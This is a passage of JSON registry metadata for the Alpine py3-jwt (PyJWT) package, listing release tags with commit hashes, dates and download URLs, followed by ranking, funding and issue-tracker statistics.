yste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.752Z","dependent_packages_count":4,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":7.8926686875491185,"stargazers_count":3.008869428539351,"forks_count":2.5822386886718314,"average":3.370944201190075},"purl":"pkg:apk/alpine/py3-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.17","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,